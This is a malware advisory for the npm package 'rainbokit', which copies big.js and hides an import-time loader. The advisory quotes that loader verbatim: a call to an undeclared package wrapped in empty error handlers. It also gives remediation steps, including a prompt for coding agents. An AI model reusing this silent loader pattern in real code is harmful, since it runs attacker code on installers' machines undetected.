# MAL-2026-6339: Malicious code in rainbokit (npm)


- **Type:** Malicious package
- **Package:** `rainbokit` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-56vv-8v7m-r49g

## What is MAL-2026-6339?

MAL-2026-6339 is a malicious package in rainbokit, published on 23 Jun 2026. 

### Official description

The package publishes as `rainbokit` but ships a verbatim copy of the legitimate `big.js` library (matching author, repository URL, README, LICENCE, and keywords) so that an installer inspecting the on-disk package cannot distinguish it from genuine big.js. Both `big.js` (~line 488) and `big.mjs` contain an injected block `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }` inserted into the middle of the otherwise-unmodified big.js source. When a consumer does `require('rainbokit')` or `import 'rainbokit'`, this block runs `parket-slot.from_str()` — code controlled by the attacker. The require is wrapped in an empty try/catch and the resulting promise's rejection handler is also empty, so any error is silently swallowed (anti-detection). `parket-slot` is not declared in `dependencies`; the only declared dependency is `log-taker@^0.0.9`, which is never referenced from the visible code. This declared-but-unused / used-but-undeclared split is consistent with a multi-package staging campaign where the attacker resolves `parket-slot` and `log-taker` from sibling packages they control. The combination of identity spoofing of a popular package, hidden second-stage loader fired at import time, and silent error suppression demonstrates intent to execute attacker-controlled code on installer machines.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6339?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6339 is a malicious package: rainbokit (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6339/ (Markdown: https://insights.sbomify.com/MAL-2026-6339/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6339

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6339/
Summaries are generated and may contain mistakes; the official description above is the record.